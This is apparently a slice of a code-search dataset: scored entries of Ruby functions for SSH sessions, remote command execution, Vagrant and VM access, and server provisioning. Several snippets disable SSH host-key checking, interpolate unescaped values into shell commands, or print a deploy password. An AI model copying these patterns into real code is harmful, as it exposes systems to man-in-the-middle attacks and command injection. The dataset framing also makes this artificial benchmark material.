|deploy|\n # install ruby & rails\n install_ruby deploy\n install_rails deploy\n\n # one more fun little addition, we'll add the flytrap app to catch path attacks.\n install_flytrap deploy\n end\n # done with the deploy user, so log out of that session.\n\n # install Phusion Passenger to the host and then configure it.\n install_passenger admin\n config_passenger admin\n\n # create a few helper utilities to test and reload the configuration.\n create_nginx_utils admin\n\n # then restart nginx.\n restart_nginx admin\n\n puts 'Testing nginx server...'\n admin.exec_ignore_code 'curl http://localhost/this-is-a-test'\n admin.exec \"curl #{flytrap_path}\"\n end\n\n puts ''\n puts ANSI.ansi(:bold, :white) { 'Host preparation completed.' }\n puts ''\n puts 'Deployment User'\n puts ('-' * 70)\n puts \"User: \" + ANSI.ansi(:bold) { @options[:deploy_user] }\n puts \"Password: \" + ANSI.ansi(:bold) { @options[:deploy_password] }\n puts \"Home: \" + ANSI.ansi(:bold) { @options[:deploy_home] }\n puts ''\n puts 'Server Test Path'\n puts ('-' * 70)\n puts ANSI.ansi(:bold) { flytrap_path }\n\n logfile.flush\n logfile.close\n @logfile = nil\n\n end", "title": "" }, { "docid": "c03eefcf2a161320f6906d470ec15820", "score": "0.59231627", "text": "def connect_to_aws_vm(options)\n if $strict_mode == true\n ssh_command = \"ssh\"\n else\n ssh_command = \"ssh -o StrictHostKeyChecking=no\"\n end \n if not options['ip'].to_s.match(/[0-9]/) and not options['id'].to_s.match(/[0-9]/)\n handle_output(options,\"Warning:\\tNo IP or Instance ID specified\")\n quit(options)\n end\n if options['adminuser']== options['empty']\n handle_output(options,\"Warning:\\tNo user specified\")\n quit(options)\n end\n if options['key']== options['empty'] and options['keyfile']== options['empty']\n if options['id'].to_s.match(/[0-9]/)\n options['key'] = get_aws_instance_key_name(options['access'],options['secret'],options['region'],options['id'])\n handle_output(options,\"Information:\\tFound key '#{options['key']}' from Instance ID '#{options['id']}'\")\n else\n handle_output(options,\"Warning:\\tNo key specified\")\n quit(options)\n end\n end\n if not options['ip'].to_s.match(/[0-9]/)\n options['ip'] = get_aws_instance_ip(options['access'],options['secret'],options['region'],options['id'])\n end\n if options['keyfile']== options['empty']\n options['keyfile'] = options['keydir']+\"/\"+options['key']+\".pem\"\n end\n if not File.exist?(options['keyfile'])\n handle_output(options,\"Warning:\\tCould not find AWS SSH Key file '#{options['keyfile']}'\")\n quit(options)\n end\n command = \"#{ssh_command} -i #{options['keyfile']} #{options['adminuser']}@#{options['ip']}\" \n update_user_ssh_config(options)\n if options['verbose'] == true\n handle_output(options,\"Information:\\tExecuting '#{command}'\")\n end\n exec \"#{command}\"\n return\nend", "title": "" }, { "docid": "ef8e9faacf12ef5fe688e959a144f524", "score": "0.5859869", "text": "def session_spawn\n return Net::SSH.start(@args[:host], @args[:user], :password => @args[:passwd], :port => @args[:port].to_i)\n end", "title": "" }, { "docid": "000f04f538f309e8a390315e48780c78", "score": "0.5846629", "text": "def ssh(*args, &block)\n Net::SSH.start(*args, &block)\n end", "title": "" }, { "docid": "f271af2dbbb884e3c0dbc09ecab5d4fe", "score": "0.5845681", "text": "def invoke_cmd(options={})\n fail \"vm required\" unless options[:vm].is_a? RbVmomi::VIM::VirtualMachine\n fail \"username required\" unless options[:username].is_a? String\n fail \"password required\" unless options[:password].is_a? String\n fail \"command required\" unless options[:command].is_a? String\n options[:shell] ||= '/bin/bash'\n options[:timeout] ||= nil\n options[:interval] ||= 2\n\n @timeout = options[:timeout]\n @interval = options[:interval]\n @vm = options[:vm]\n\n @out_file = \"/tmp/#{(0...8).map { (65 + rand(26)).chr }.join}\"\n\n # Run command\n @npa = RbVmomi::VIM.NamePasswordAuthentication(:username => options[:username], :password => options[:password], :interactiveSession => false)\n @spec = RbVmomi::VIM.GuestProgramSpec(:programPath => options[:shell], :arguments => \"-c '#{options[:command]}' > #{@out_file} 2>&1\")\n @pid = self.serviceContent.guestOperationsManager.processManager.StartProgramInGuest(:vm => @vm, :auth => @npa, :spec => @spec)\n\n # Wait for command to finish\n begin\n status = Timeout::timeout(@timeout) do\n while self.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => @vm, :auth => @npa, :pid => @pid).first.endTime.nil?\n sleep @interval\n end\n end\n rescue Timeout::Error \n begin\n self.serviceContent.guestOperationsManager.processManager.TerminateProcessInGuest(:vm => @vm, :auth => @npa, :pid => @pid)\n # If process not found, assume it exited cleanly\n rescue RbVmomi::Fault::GuestProcessNotFound\n break\n end\n fail \"Timeout reached while executing #{options[:command]}\\nProcess terminated\"\n end\n\n # Get process information\n @return = self.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => @vm, :auth => @npa, :pid => @pid).first\n\n # Retrieve process output\n @local_path = @vm.download(self, @out_file, @npa)\n @vm.delete_file(self, @out_file, @npa)\n\n # Stuff output into modified class object\n @return.cmd_output = File.read(@local_path)\n `rm #{@local_path}`\n\n @return\n end", "title": "" }, { "docid": "49b1b7ab79790e00d2484ed3d826714c", "score": "0.5832229", "text": "def open\n ENV['SSH_ASKPASS'] = File.expand_path(File.join(File.dirname(__FILE__),\n '..', '..', '..',\n 'scripts',\n 'stub_ssh_askpass'))\n ENV['HOME'] = \"/dev/null\"\n @dir = Dir.mktmpdir\n @socketfile = File.join(@dir, \"agent\")\n @process = nil\n @interupted_to_close = false\n @ssh_agent_output = ::RightScale::RightPopen::SafeOutputBuffer.new\n cmd = ['ssh-agent', '-a', @socketfile, '-d']\n ::RightScale::RightPopen.popen3_sync(\n cmd,\n :target => self,\n :inherit_io => true, # avoid killing any rails connection\n :watch_handler => :watch_ssh_agent,\n :stderr_handler => :output_ssh_agent,\n :stdout_handler => :output_ssh_agent,\n :timeout_handler => :timeout_ssh_agent,\n :exit_handler => :exit_ssh_agent,\n :timeout_seconds => 10)\n if @process\n ENV['SSH_AGENT_PID'] = @process.pid.to_s\n ENV['SSH_AUTH_SOCK'] = @socketfile\n end\n end", "title": "" }, { "docid": "0d4838cc6d52819a9ac1414a6cfbf18e", "score": "0.5831012", "text": "def setup\n logger.debug { \"#{self.class}##{__method__}\" }\n Hailstorm::Support::SSH.start(*ssh_connection_spec) do |ssh|\n if ssh.file_exists?(self.executable_path)\n unless self.executable_pid.blank?\n ssh.terminate_process(self.executable_pid)\n self.executable_pid = nil\n end\n else\n raise(Hailstorm::Exception, \"nmon not found at #{target.executable_path} on #{target.host_name}.\")\n end\n end\n end", "title": "" }, { "docid": "bf3121d388c6599ef5e58f3e43869f88", "score": "0.5827947", "text": "def connect_vm(hostname)\n puts \"Connecting to your new VM: #{hostname}.delivery.puppetlabs.net. Thanks for flying vmify!\"\n exec(\"ssh -i ~/.ssh/id_rsa-acceptance root@#{hostname}.delivery.puppetlabs.net -o StrictHostKeyChecking=no;\")\nend", "title": "" }, { "docid": "d6de6d26c518f45fee693cbe6557b487", "score": "0.58186936", "text": "def exec(*args)\n command = args.shift\n\n arguments = Array.new\n arguments << %(sudo) if (@use_sudo == true)\n arguments << %(DEBIAN_FRONTEND=\"noninteractive\")\n arguments << command\n arguments << args\n arguments = arguments.flatten.compact.join(' ')\n\n output = Array.new\n\n if @use_ssh.nil?\n ::ZTK::PTY.spawn(arguments) do |reader, writer, pid|\n while (buffer = reader.readpartial(1024))\n output << buffer\n end\n end\n else\n if @use_ssh.respond_to?(:exec!)\n output << @use_ssh.exec!(arguments)\n else\n raise Error, \"The object you assigned to use_ssh does not respond to #exec!\"\n end\n end\n\n output.join.strip\n end", "title": "" }, { "docid": "8b857ba1b9567253bdd6ba02d2d34cff", "score": "0.5818064", "text": "def script(&block)\n\n Net::SSH.start(@host, @user) do |ssh|\n session = create_session(ssh)\n DslProxy.exec(session, &block)\n end\n end", "title": "" }, { "docid": "f68a6567610ecc41ea969ccd5af7ea29", "score": "0.58051753", "text": "def ssh(command, interactive: false, quiet: false, quiet_ssh: true)\n # Use the background ssh master process and ssh in, using interactive mode based on flags passed\n # SSH flags being used:\n # -S : specifies the location of a control socket for connection sharing\n # -t : force pseudo-tty allocation (allow interactive sessions for things like entering passwords)\n # -p : remote port to connect to via ssh\n ssh_cmd = \"ssh -S #{$ssh_master_file} #{interactive ? '-t' : ''} -p #{$remote_port} #{$remote} '#{command}'#{interactive ? '' : '; echo $?'}\"\n unless quiet then puts command end\n unless quiet_ssh then puts ssh_cmd end\n if interactive\n system(ssh_cmd)\n else\n exit_code = `#{ssh_cmd}`\n return exit_code\n end\nend", "title": "" }, { "docid": "23cb142e3b09350ccea54fb4e63f6c9d", "score": "0.57779795", "text": "def exec!(command = nil)\n case conn_method\n when 'ssh'\n ssh(command)\n when 'tcp'\n tcp(command)\n else\n raise UnknownConnectionType, \"Unknown Connection Method. Valid options are 'ssh://' and 'tcp://'\"\n end\n end", "title": "" }, { "docid": "348b83eca350060dfeb3283f65603abf", "score": "0.5758365", "text": "def vagrant_ssh\n Cocaine::CommandLine.new(vagrant.command, 'ssh')\n end", "title": "" }, { "docid": "e4d72894bd6c1c010754558d0bfcfae5", "score": "0.5732115", "text": "def open_connection( payload, metadata=nil )\n\t\traise LocalJumpError, \"no block given\" unless block_given?\n\t\t@output = ''\n\n\t\tport = payload[ 'port' ] || 22\n\t\topts = payload[ 'opts' ] || Symphony::Task::SSH.opts\n\t\tuser = payload[ 'user' ] || Symphony::Task::SSH.user\n\t\tkey = payload[ 'key' ] || Symphony::Task::SSH.key\n\t\tenv = payload[ 'env' ] || {}\n\n\t\tcmd = []\n\t\tcmd << Symphony::Task::SSH.path\n\t\tcmd += opts\n\n\t\tcmd << '-p' << port.to_s\n\t\tcmd << '-i' << key if key\n\t\tcmd << '-l' << user\n\t\tcmd << payload[ 'host' ]\n\t\tcmd << payload[ 'command' ]\n\t\tcmd.flatten!\n\t\tself.log.debug \"Running SSH command with: %p\" % [ Shellwords.shelljoin(cmd) ]\n\n\t\tparent_reader, child_writer = IO.pipe\n\t\tchild_reader, parent_writer = IO.pipe\n\n\t\tpid = Process.spawn( env, *cmd,\n\t\t\tout: child_writer,\n\t\t\tin: child_reader,\n\t\t\tclose_others: true,\n\t\t\tunsetenv_others: true\n\t\t)\n\n\t\tchild_writer.close\n\t\tchild_reader.close\n\n\t\tself.log.debug \"Yielding back to the run block.\"\n\t\t@output = yield( parent_reader, parent_writer )\n\t\t@output = @output.split( /\\r?\\n/ ).reject{|l| l =~ SSH_CLEANUP }.join\n\t\tself.log.debug \" run block done.\"\n\n\trescue => err\n\t\tself.log.error( err.message )\n\tensure\n\t\tif pid\n\t\t\tactive = Process.kill( 0, pid ) rescue false\n\t\t\tProcess.kill( :TERM, pid ) if active\n\t\t\tpid, status = Process.waitpid2( pid )\n\t\tend\n\t\treturn status\n\tend", "title": "" }, { "docid": "75ea550b7fc62cf7859471c2b3984164", "score": "0.5724677", "text": "def connect_ssh\n require 'manageiq-ssh-util'\n ManageIQ::SSH::Util.shell_with_su(*miq_ssh_util_args) do |ssu, _shell|\n yield(ssu)\n end\n rescue Exception => e\n _log.error(\"SSH connection failed for [#{ipaddress}] with [#{e.class}: #{e}]\")\n raise e\n end", "title": "" }, { "docid": "da7e7dcc88890db4384d6b06e59638f2", "score": "0.5712641", "text": "def run_ssh(_username, _password = \"\", _address = \"127.0.0.1\")\n Runner.new(self).run_ssh(_username,_password,_address)\n end", "title": "" }, { "docid": "a788727fb15e244317e54dcb16460961", "score": "0.57117283", "text": "def command\n port_mappings = tunnels.map do |tunnel|\n \"-R 0.0.0.0:#{tunnel.remote_port}:localhost:#{tunnel.local_port}\"\n end\n\n cmd = <<-SHELL\n env AUTOSSH_GATETIME=0\n #{Which::AUTOSSH}\n -M 0\n -F #{T::SSH_CONFIG}\n #{tunnel_uri.user}@#{tunnel_uri.host}\n -p #{tunnel_uri.port}\n #{port_mappings.join(\" \")}\n -i #{T::SSH_PRIVKEY}\n -o StrictHostKeyChecking=no\n -o UserKnownHostsFile=pipe2me.known_hosts\n -o PasswordAuthentication=no\n -o ExitOnForwardFailure=yes \n -N\n SHELL\n \n cmd.gsub(/\\s+/, \" \")\n end", "title": "" }, { "docid": "a09a318fe932f5b322f8aed1fb74da90", "score": "0.57063204", "text": "def provision_ssh()\n upload_path = \"/tmp/vagrant-shell\"\n command = \"chmod +x #{upload_path} && #{upload_path}\"\n\n with_script_file do |path|\n # Upload the script to the machine\n @machine.communicate.tap do |comm|\n # Reset upload path permissions for the current ssh user\n info = nil\n retryable(on: Vagrant::Errors::SSHNotReady, tries: 3, sleep: 2) do\n info = @machine.ssh_info\n raise Vagrant::Errors::SSHNotReady if info.nil?\n end\n\n user = info[:username]\n comm.sudo(\"chown -R #{user} #{upload_path}\",\n error_check: false)\n\n comm.upload(path.to_s, upload_path)\n\n if config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: path.to_s))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline script\"))\n end\n\n # Execute it with sudo\n comm.execute(\n command,\n sudo: false,\n error_key: :ssh_bad_exit_status_muted\n ) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end", "title": "" }, { "docid": "4ec45c898d86066e7cd70386fae36fb2", "score": "0.5670969", "text": "def shell_command(command, load_env = true)\n logger.info(\"ssh_command #{command} with load environment #{load_env}\")\n command = \"source /etc/profile; source ~/.bash_profile; #{command}\" if load_env\n ssh_options = {\n proxy: get_proxy,\n key_data: [@private_key]\n }\n ssh_options.delete_if { |_k, v| v.nil? }\n Net::SSH.start(@data.ip, @user, ssh_options) do |ssh|\n channel = ssh.open_channel do |ch|\n ch.exec command.to_s do |ch, success|\n raise \"could not execute #{command}\" unless success\n\n # \"on_data\" is called when the process wr_ites something to stdout\n ch.on_data do |_c, data|\n # $stdout.print data\n logger.info(data.inspect.to_s)\n end\n # \"on_extended_data\" is called when the process writes something to s_tde_rr\n ch.on_extended_data do |_c, _type, data|\n # $stderr.print data\n logger.info(data.inspect.to_s)\n end\n end\n end\n ssh.loop\n channel.wait\n end\n rescue Net::SSH::HostKeyMismatch => e\n e.remember_host!\n logger.info('key mismatch, retry')\n sleep 2\n retry\n rescue SystemCallError, Net::SSH::ConnectionTimeout, Timeout::Error => e\n # port 22 might not be available immediately after the instance finishes launching\n sleep 2\n logger.info('SystemCallError, Waiting for SSH to become available')\n retry\n end", "title": "" }, { "docid": "64b3efa1f2b66ab9f2c686615831bec3", "score": "0.56512934", "text": "def execute(opts={})\n Net::SSH.start(env.config.ssh.host,\n env.config[:ssh][:username],\n opts.merge( :port => port,\n :keys => [env.config.ssh.private_key_path])) do |ssh|\n yield ssh\n end\n end", "title": "" }, { "docid": "7002af8b8d9bb3c841f1f5ad85ea1f2c", "score": "0.5626281", "text": "def open_ssh(id=@connection.servers.first)\n command = ssh_cli_string(id)\n exec(command)\n end", "title": "" }, { "docid": "3f9504ef69d80e2c662fd8aaa1e8ce89", "score": "0.5618557", "text": "def ssh_exec\n ssh_exec_for @node\n end", "title": "" }, { "docid": "4c50c9599ea68e1db989ad58d975679b", "score": "0.56168866", "text": "def start_ssh_tunnel(env, fp, machine)\n kill_ssh_tunnel(env, fp, machine)\n args = ssh_args(fp, machine)\n args << {env: autossh_environment_variables(fp, machine)}\n Vagrant::Util::Subprocess.execute(\"autossh\", \"-f\", *args)\n end", "title": "" }, { "docid": "1741d4557b1a54d3bca30832566d98c4", "score": "0.5615707", "text": "def run(host, command, options = {})\n host_commander.run(host, command, ssh: ssh, winrm: winrm, connector: options[:connector])\n end", "title": "" }, { "docid": "3da4804a6b4f8710a7d105f0347c4eca", "score": "0.56110173", "text": "def initialize(command = nil, stop_string = nil, logfile = nil, ssh_options = nil, tty = true)\n # def initialize(ssh_options = nil, command = nil, stop_string = nil, logfile = nil, tty = true)\n\n # self.mutex = Mutex.new\n self.peer_info = ssh_options[:host_name]\n self.ssh_options = ssh_options\n self.stdout = StringIO.new\n ###########################\n self.ssh = Net::SSH.start(nil, nil, ssh_options)\n self.channel = ssh.open_channel do |_ch|\n channel.request_pty if tty == true\n if command\n channel.exec command\n else\n channel.send_channel_request \"shell\"\n end\n end\n channel.on_data do |_c, data|\n store_data(data)\n end\n channel.on_extended_data do |_c, _type, data|\n store_data(data)\n end\n\n ###########################\n super\n ###########################\n # read whatever\n set_default_winsize\n get_once(-1)\n end", "title": "" }, { "docid": "4d7963d8aa76a5b99b952a26597aab1f", "score": "0.5598163", "text": "def vm_ssh(env, cmd)\n puts \">>> '#{cmd}'\"\n env.primary_vm.ssh.execute do |ssh|\n ssh.exec!(cmd) do |channel, stream, data|\n print data\n $stdout.flush\n end\n end\nend", "title": "" }, { "docid": "1816e79297264b53cdf61b82751b5562", "score": "0.5593761", "text": "def ssh(cmd='')\n sh \"ssh #{$config['host']} -p #{$config['port']} '#{cmd}'\"\nend", "title": "" }, { "docid": "b23290e13358ca8600d0fe23e3ed82b2", "score": "0.5566596", "text": "def ssh_executable\n path = ssh_wrapper_path\n roles :app_master, :app, :solo, :util do\n run(generate_ssh_wrapper)\n end\n path\n end", "title": "" }, { "docid": "65ad41119f823d88a96a8f03830f8400", "score": "0.5560115", "text": "def base_script\n <<-EOT.gsub(/^ {12}/, '')\n cd #{work_dir}\n\n # Export useful connection variables\n export host\n export port\n\n # Generate a connection yaml file with given parameters\n create_yml () {\n echo \"Generating connection YAML file...\"\n (\n umask 077\n echo -e \"#{conn_params.map { |p| \"#{p}: $#{p}\" }.join('\\n')}\" > \"#{conn_file}\"\n )\n }\n\n # Cleanliness is next to Godliness\n clean_up () {\n echo \"Cleaning up...\"\n #{clean_script.gsub(/\\n(?=[^\\s])/, \"\\n \")}\n [[ ${SCRIPT_PID} ]] && pkill -P ${SCRIPT_PID} || :\n pkill -P $$\n exit ${1:-0}\n }\n\n #{bash_helpers}\n source_helpers\n\n # Set host of current machine\n #{set_host}\n\n #{before_script}\n\n echo \"Script starting...\"\n #{run_script} &\n SCRIPT_PID=$!\n\n #{after_script}\n\n # Create the connection yaml file\n create_yml\n\n # Wait for script process to finish\n wait ${SCRIPT_PID} || clean_up 1\n\n # Exit cleanly\n clean_up\n EOT\n end", "title": "" }, { "docid": "09e5f809f99353cd1092f49d061bdcb5", "score": "0.555964", "text": "def exec\n send_command([:exec])\n end", "title": "" }, { "docid": "21be66ad7d9e9160fdbc564a496a6092", "score": "0.5554511", "text": "def connect_to_kvm_vm(options)\n exists = check_kvm_vm_exists(options)\n vm_name = options['name'].to_s\n if exists == true\n handle_output(options, \"Information:\\t Connecting to KVM VM #{vm_name}\")\n exec(\"virsh console #{vm_name}\")\n else\n handle_output(options,\"Warning:\\tKVM VM #{vm_name} doesn't exist\")\n quit(options)\n end\nend", "title": "" }, { "docid": "2eed8d1d944e697e8eb8fef8c952ad52", "score": "0.5549951", "text": "def execute!\n MB::CliGateway.start(@argv)\n rescue MBError => ex\n ui.error ex\n @kernel.exit(ex.exit_code)\n rescue Ridley::Errors::ConnectionFailed => ex\n ui.error \"[ERROR] Unable to connect to the configured Chef server: #{ex.message}.\"\n ui.error \"[ERROR] Check your configuration and network settings and try again.\"\n @kernel.exit(MB::ChefConnectionError.exit_code)\n rescue Thor::Error => ex\n ui.error ex.message\n @kernel.exit(1)\n rescue Errno::EPIPE\n # This happens if a thor command is piped to something like `head`,\n # which closes the pipe when it's done reading. This will also\n # mean that if the pipe is closed, further unnecessary\n # computation will not occur.\n @kernel.exit(0)\n end", "title": "" }, { "docid": "b90cbbf7adb21d9066c1e820afee3c99", "score": "0.5537461", "text": "def exec(params)\n host = params[:host] or raise \"No :host argument given\"\n user = params[:user] || @config[:credentials][:username]\n password = @config[:credentials][:password]\n cmd = params[:cmd] or raise \"No :cmd argument given\"\n if @environment.in_dry_run_mode\n notify(:msg => \"Would connect as user #{user} to host #{host} and execute command '#{cmd}'\",\n :tags => [:ssh, :dryrun])\n else\n response = nil\n Net::SSH.start(host, user, :password => password) do |ssh|\n response = ssh.exec!(cmd)\n end\n response\n end\n end", "title": "" }, { "docid": "4a790d3a9b6259389cf2ce82a7d464d4", "score": "0.5535022", "text": "def run\n if (! @running.nil?)\n raise \"Already running\"\n end\n info(VERSION_STRING)\n reset\n\n @running = ConditionVariable.new\n if @interactive\n require 'irb'\n ARGV.clear\n ARGV << \"--simple-prompt\"\n ARGV << \"--noinspect\"\n IRB.start()\n else\n interrupted = false\n trap(\"INT\") { interrupted = true }\n trap(\"TERM\") { interrupted = true }\n loop do\n if interrupted\n communicator.quit\n ExecApp.killAll\n exit\n end\n\t sleep 1\n end\n end\n end", "title": "" }, { "docid": "54651ef111e07a7c99643965f24ae856", "score": "0.5534682", "text": "def ssh(*args)\n @@rmach.switch_user :root\n @@rmach.connect(*args)\n @@rmach.switch_user # back to previous user\n nil\n end", "title": "" }, { "docid": "fda696abac36246353a7f1acfffcecf6", "score": "0.55153286", "text": "def tunnel\n @ssh_lock.synchronize do\n if @ssh_pid\n # ABORT\n return nil\n end\n\n puts \"Attempting connection to #{opts[:remote]}...\"\n begin\n stdin, stdout, waiter = Open3.popen2e(\n opts[:ssh][:bin],\n '-o', 'ExitOnForwardFailure=yes',\n *(opts[:ssh][:opts].split(/\\s+/)),\n '-p', opts[:remote][:ssh_port].to_s,\n '-i', opts[:ssh][:identity],\n '-R', ['*',\n opts[:remote][:fwd_port],\n opts[:local][:host],\n opts[:local][:port]\n ].join(':'),\n \"#{opts[:remote][:user]}@#{opts[:remote][:host]}\"\n ) do |stdin, stdout, thread|\n\n # Squirrel away PID\n @ssh_pid = thread[:pid]\n puts \"SSH PID is #{@ssh_pid}\"\n\n # Print output\n stdin.close\n stdout.each do |line|\n puts \"SSH: #{line}\"\n end\n end\n ensure\n @ssh_lock.synchronize do\n @ssh_pid = nil\n puts \"Tunnel exited.\"\n end\n end\n end\n end", "title": "" }, { "docid": "f3267ee0bc743b17258167bfbc097b90", "score": "0.5507087", "text": "def ssh(*args)\n\t\tself.class.cmd(['ssh', *ssh_opts, SSHUserHost, *args])\n\tend", "title": "" }, { "docid": "82998b93f5cab4dd538ed6f82089b466", "score": "0.5502556", "text": "def spawn_ssh(remoteHostName, remotePort, userName, password) \n spawn(SshSpawn.new(remoteHostName, remotePort, userName, password));\n end", "title": "" }, { "docid": "ae31d9ce22a41f1029125ae82d2a983d", "score": "0.549528", "text": "def ssh(args)\n exit_code = 1\n possibly_failed_command = ''\n pwd = Dir.pwd\n\n if args.nil?\n $out.error 'Configuration name is required'\n return 1\n end\n\n params = args.split('/')\n # mdbci ppc64 boxes\n if File.exist?(params[0]+'/mdbci_template')\n loadMdbciNodes params[0]\n if params[1].nil? # ssh for all nodes\n @mdbciNodes.each do |node|\n box = node[1]['box'].to_s\n if !box.empty?\n mdbci_box_params = $session.boxes.getBox(box)\n cmd = 'ssh -i ' + pwd.to_s+'/KEYS/'+mdbci_box_params['keyfile'].to_s + \" \"\\\n + mdbci_box_params['user'].to_s + \"@\"\\\n + mdbci_box_params['IP'].to_s + \" \"\\\n + \"'\" + $session.command + \"'\"\n $out.info 'Running ['+cmd+'] on '+params[0].to_s+'/'+params[1].to_s\n vagrant_out = `#{cmd}`\n exit_code = $?.exitstatus\n possibly_failed_command = cmd\n $out.out vagrant_out\n end\n end\n else\n mdbci_node = @mdbciNodes.find { |elem| elem[0].to_s == params[1] }\n box = mdbci_node[1]['box'].to_s\n if !box.empty?\n mdbci_params = $session.boxes.getBox(box)\n cmd = 'ssh -i ' + pwd.to_s+'/KEYS/'+mdbci_params['keyfile'].to_s + \" \"\\\n + mdbci_params['user'].to_s + \"@\"\\\n + mdbci_params['IP'].to_s + \" \"\\\n + \"'\" + $session.command + \"'\"\n $out.info 'Running ['+cmd+'] on '+params[0].to_s+'/'+params[1].to_s\n vagrant_out = `#{cmd}`\n exit_code = $?.exitstatus\n possibly_failed_command = cmd\n $out.out vagrant_out\n end\n end\n else # aws, vbox nodes\n unless Dir.exist?(params[0])\n $out.error 'Machine with such name does not exist'\n return 1\n end\n Dir.chdir params[0]\n cmd = 'vagrant ssh '+params[1].to_s+' -c \"'+$session.command+'\"'\n $out.info 'Running ['+cmd+'] on '+params[0].to_s+'/'+params[1].to_s\n vagrant_out = `#{cmd}`\n exit_code = $?.exitstatus\n possibly_failed_command = cmd\n $out.out vagrant_out\n Dir.chdir pwd\n end\n\n if exit_code != 0\n $out.error \"'ssh' (or 'vagrant ssh') command returned non-zero exit code: (#{$?.exitstatus})\"\n $out.error \"failed ssh command: #{possibly_failed_command}\"\n exit_code = 1\n end\n\n return exit_code\n end", "title": "" }, { "docid": "f22b5263c1db7df2e9252469c1dd5475", "score": "0.5494453", "text": "def vagrant_exec(cmd)\n `vagrant ssh -c \"#{cmd}\"`\nend", "title": "" }, { "docid": "3d8596fffa8f844b2cd8f8b0629346ff", "score": "0.5476363", "text": "def action_ssh(opts = {'user' => 'vagrant'})\n # FIXME: We should not depend on an IP to be configured\n raise 'SSH support is currently available to a predefined IP only' unless @config['ip']\n\n cmd = \"ssh #{opts['user']}@#{@config['ip']} -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=quiet\"\n cmd << \" -- #{Shellwords.escape opts['command']}\" if opts['command']\n\n unless run(cmd)\n puts 'Error running ssh command!'\n exit 1\n end\n end", "title": "" }, { "docid": "7419c63a148eb7dec89f42a7baa6f058", "score": "0.5475348", "text": "def connect options=nil\n Sunshine.logger.info :app, \"Connecting...\" do\n threaded_each options do |server_app|\n server_app.shell.connect\n end\n end\n end", "title": "" }, { "docid": "5696d9ed2e948dd947e33e370314b5ca", "score": "0.5474659", "text": "def run_bash_script_remotely(source_path:, source_file:, remote_host:, key_pair_name:, parameter_string: \"\", as_sudo: false)\n scp_file(source_file: \"#{source_path}/#{source_file}\", remote_host: remote_host, key_pair_name: key_pair_name)\n sudo_prefix = \"\"\n sudo_prefix = \"sudo \" if as_sudo\n `ssh -i #{key_pair_name}.pem -o \\\"StrictHostKeyChecking=no\\\" ubuntu@#{remote_host} '#{sudo_prefix}bash -i #{source_file} #{parameter_string}'`\nend", "title": "" }, { "docid": "8137b13b2de77ba9c799329d29b05249", "score": "0.5473065", "text": "def _ruby_exec(argv)\n ruby_bin = File.join(RbConfig::CONFIG['bindir'], RbConfig::CONFIG['ruby_install_name'])\n exec_args = [ruby_bin, @coopr_runner_exe] + argv\n\n # Exec into the new process\n exec(*exec_args)\n end", "title": "" }, { "docid": "6e85e2e05100741db81f52b457916269", "score": "0.5468989", "text": "def start\n setup\n Dir.chdir(dir) do\n system \"vagrant up #{VM_NAME} --provider #{@provider}\"\n system \"vagrant ssh-config > #{@ssh_config}\"\n system \"vagrant ssh -c 'true'\" # Wait until SSH is ready\n end\n end", "title": "" }, { "docid": "2e945b3a36fcd6639f8c131bc44962c4", "score": "0.546327", "text": "def vm_ssh(env, cmd)\n puts \">>> '#{cmd}'\"\n env.primary_vm.channel.execute cmd do |channel, data|\n out = $stdout\n if channel == :stderr\n out = $stderr\n end\n out.write(data)\n out.flush\n end\nend", "title": "" }, { "docid": "cb184e9c30900119122d2c49f0acbe86", "score": "0.5461161", "text": "def execute should_wait=true\n @process_runner = super()\n @process_launched = true\n wait_for_prompt\n execute_actions\n handle_user_input if should_wait\n end", "title": "" }, { "docid": "3fb194a88508107e6eb5587001292b6b", "score": "0.5459602", "text": "def rvm_execute(server_config, command)\n execute(\"rvm_path=#{RVM_PATH} #{RVM_PATH}bin/rvm-shell '#{server_config['rvm']['rvm_ruby_string']}' -c '#{command}'\")\nend", "title": "" }, { "docid": "489ff473e92f3aabd8efb4d17b587bbf", "score": "0.54580486", "text": "def execute_in_shell(&block)\n self.instance_eval(&block)\n end", "title": "" }, { "docid": "325ce9553722a648e6e6ceed330e305a", "score": "0.5445645", "text": "def execute(hash, client, dir, shared)\n command = hash['command'].gsub('$LIB$', Dir.pwd + '/' + LIB_DIR).gsub('$PATH$', dir) #replace $LIB$ and $PATH$\n\n if DEVELOPMENT\n changeuser = ''\n else\n if hash['permissions'] == 'read-write'\n changeuser = \"sudo -u #{READ_WRITE_USER} \" # user to execute compile command in a secure vm (no write permission (except code path) and no internet connection)\n else\n changeuser = \"sudo -u #{READ_ONLY_USER} \" # user to execute the command in a secure vm (no write permission and no internet connection)\n end\n end\n\n command = \"cd #{dir} && \" + changeuser + command\n\n puts \"#{Time.now.strftime(\"%Y_%m_%d %H:%M:%S:%L\")} #{shared[:client]} execute: #{command}\\n\\n\"\n Open3.popen3(command) do |stdin, stdout, stderr|\n shared[:close].push(stdin, stdout, stderr)\n\n stdout.sync = true\n stdin.sync = true\n shared[:stdin] = stdin\n\n Thread.start do\n handle_stderr(stderr, hash['stderr'], shared)\n end\n handle_stdout(client, stdout, hash['stdout'], shared)\n end\nend", "title": "" }, { "docid": "c12b9f4b008bfd42d326ef3d6daa696b", "score": "0.54406744", "text": "def interactive\n require \"rango/utils\"\n ARGV.delete(\"-i\") # otherwise irb will read it\n ENV[\"RACK_ENV\"] = Rango.environment # for racksh\n unless try_require(\"racksh/boot\")\n Rango.logger.info(\"For more goodies install racksh gem\")\n try_require \"irb/completion\" # some people can have ruby compliled without readline\n Rango::Utils.load_rackup # so you can use Project.router etc\n end\n require \"irb\"\n require \"rango/utils\"\n IRB.start\n end", "title": "" }, { "docid": "d2be6644e225fc77baaf306fb47153dc", "score": "0.54313594", "text": "def initialize\n $mysh_exec_binding = binding\n end", "title": "" }, { "docid": "59eefdcdcc389ffcca632794142adf02", "score": "0.5429999", "text": "def kernel_exec(*args)\n # append the optional command that can be provided to the ssh command\n full_command = args + @options[:command]\n puts \"=> #{full_command.join(' ')}\".color(:green)\n # https://ruby-doc.org/core-2.3.1/Kernel.html#method-i-exec\n # Using 2nd form\n Kernel.exec(*full_command) unless @options[:noop]\n end", "title": "" }, { "docid": "5e7671a236a04a2d12814d12bf850ab9", "score": "0.54288113", "text": "def ssh vm, user, 